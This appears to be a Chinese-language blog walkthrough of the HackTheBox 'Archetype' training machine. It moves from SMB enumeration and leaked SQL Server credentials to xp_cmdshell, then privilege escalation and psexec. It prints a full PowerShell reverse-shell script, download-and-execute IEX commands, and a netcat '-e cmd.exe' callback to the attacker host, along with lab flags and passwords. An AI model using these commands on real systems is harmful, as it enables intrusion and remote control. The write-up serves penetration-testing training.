HackTheBox-Archetype

1.端口扫描

nmap -A -v  10.129.255.204   
//-A参数相当于-sC -sV 但是会多一个tansroute的结果(经过的路由)

图片

2.smbclient匿名登录

图片

smbclient -N -L 10.129.255.204    //-N表示匿名登录

图片

有backups,尝试登录

smbclient //10.129.255.204/backups   

空密码登录成功

dir  //查看目录
get prod.dtsConfig //下载Config文件
exit
cat prod.dtsConfig

结果如下


   
       
   

   
        Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;
   

     
可以看到这里面有用户名和密码信息

Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc
可能就是SqlServer的账号和密码

3.Impacket的使用

git clone https://github.com/SecureAuthCorp/impacket.git
cd impacket
pip3 install .
# OR:
sudo python3 setup.py install
# In case you are missing some modules:
pip3 install -r requirements.txt

cd /impacket/examples
# 这个文件夹下就有我们需要的脚本mssqlclient.py

python3 mssqlclient.py -h   
# 查看使用方法

python3 mssqlclient.py ARCHETYPE/sql_svc@10.129.255.204 -windows-auth 
再输入密码
# 注意这里用户名要用斜杠而不是反斜杠 

4.SqlServer

SELECT is_srvrolemember('sysadmin');
# 返回值为1,说明当前权限是sysadmin

接下来要建立命令执行的环境—cmdshell,默认情况下该组件是关闭的,没法执行shell命令

依次执行
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
# 安装

sp_configure; 
# Enabling the sp_configure as stated in the above error message

EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
# 安装

此时就能使用cmd_shell了

5.反弹shell

SqlServer上执行
xp_cmdshell "powershell -c pwd" 
# 查看当前目录
返回
C:\Windows\system32    

生成反弹shell的脚本

$client = New-Object System.Net.Sockets.TCPClient("10.10.16.31",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String ); //2>&1标准错误重定向到标准输出
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()

这里要更改的知识ip和端口,保存为shell.ps1
然后在此包含该文件的目录下开启http服务

python3 -m http.server 80

SqlServer执行

xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.31/shell.ps1\");"
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.16.31/shell.ps1\");"
exec master..xp_cmdshell "powershell -exec bypass -c IEX(New-Object System.Net.WebClient).DownloadString('http://10.10.16.31/shell.ps1');";

图片

SqlServer成功下载了该exe

但是不知道为什么老是报语法错误,弹不了shell

6.上传nc

采用官方walkthrough里的方法,上传一个nc64.exe

为了稳定的弹shell,要把nc64.exe传到SqlServer服务器上

首先在官方WT提供的网址下载nc64.exe

https://github.com/int0x33/nc.exe/blob/master/nc64.exe?source=post_page—–a2ddc3557403———————-
上传到kali对的/root目录下

kali再执行下面的命令
# 在nc所在的目录下启动http服务
python3 -m http.server 80

nc -lvnp 443

上传到kali对的/root目录下

kali再执行下面的命令
python3 -m http.server 80
nc -lvnp 443

接下来

在SqlServer上

上传nc
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; wget
http://10.10.16.31/nc64.exe -outfile nc64.exe"

执行nc
xp_cmdshell "powershell -c cd C:\Users\sql_svc\Downloads; .\nc64.exe -e cmd.exe
10.10.16.31 443"

图片

反弹shell成功

# 依次执行
cd ../
cd Desktop
type user.txt
# 得到flag
# 3e7b102e78218e935bf3f4951fec21a3

7.提权

图片

可以看到当前用户并不是administrator用户组的

利用一个winPEASx64.exe进行提权(https://github.com/carlospolop/PEASS-ng/releases)

winPEAS的工具,它会检索整个系统路径,有搞头的路径或文件会被红色文字列出来。这里还是提前准备winPEAS,靶机下载后,在刚才那个已经连上的shell里直接运行。
首先还是上传,因为现在有nc可以直接在命令行里下载

C:\Users\sql_svc\Downloads>powershell -c  "wget http://10.10.16.31/winPEAS.bat -outfile winPEASx64.exe -outfile winPEASx64.exe"

直接执行

winPEASx64.exe

图片

扫描完成,有一些标红的敏感文件,ConsoleHost_history.txt是记录了控制台命令历史记录

在如下目录下打开命令历史记录文件
C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine>type ConsoleHost_history.txt

可以得到用户名密码
Administrator/MEGACORP_4dm1n!!

8.远程连接

psexec 是 windows 下非常好的一款远程命令行工具。psexec的使用不需要对方主机开机3389端口,只需要对方开启admin$共享(该共享默认开启)。但是,假如目标主机开启了防火墙,psexec也是不能使用的,会提示找不到网络路径。由于psexec是windows提供的工具,所以杀毒软件会将其添加到白名单中。
来源: Tajang
文章作者: Tajang
文章链接: http://www.ctfking.com/2022/03032894.html#toc-heading-4
本文章著作权归作者所有,任何形式的转载都请注明出处。

python3 psexec.py administrator@10.129.60.181

再输入密码即可
图片

切换到administrator目录下的桌面

cd c:\\Users\Administrator\Desktop
dir
# 发现 root.txt
type root.txt
# 得到第二个flag
# b91ccec3305e98240082d4474b848528

Related Posts

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注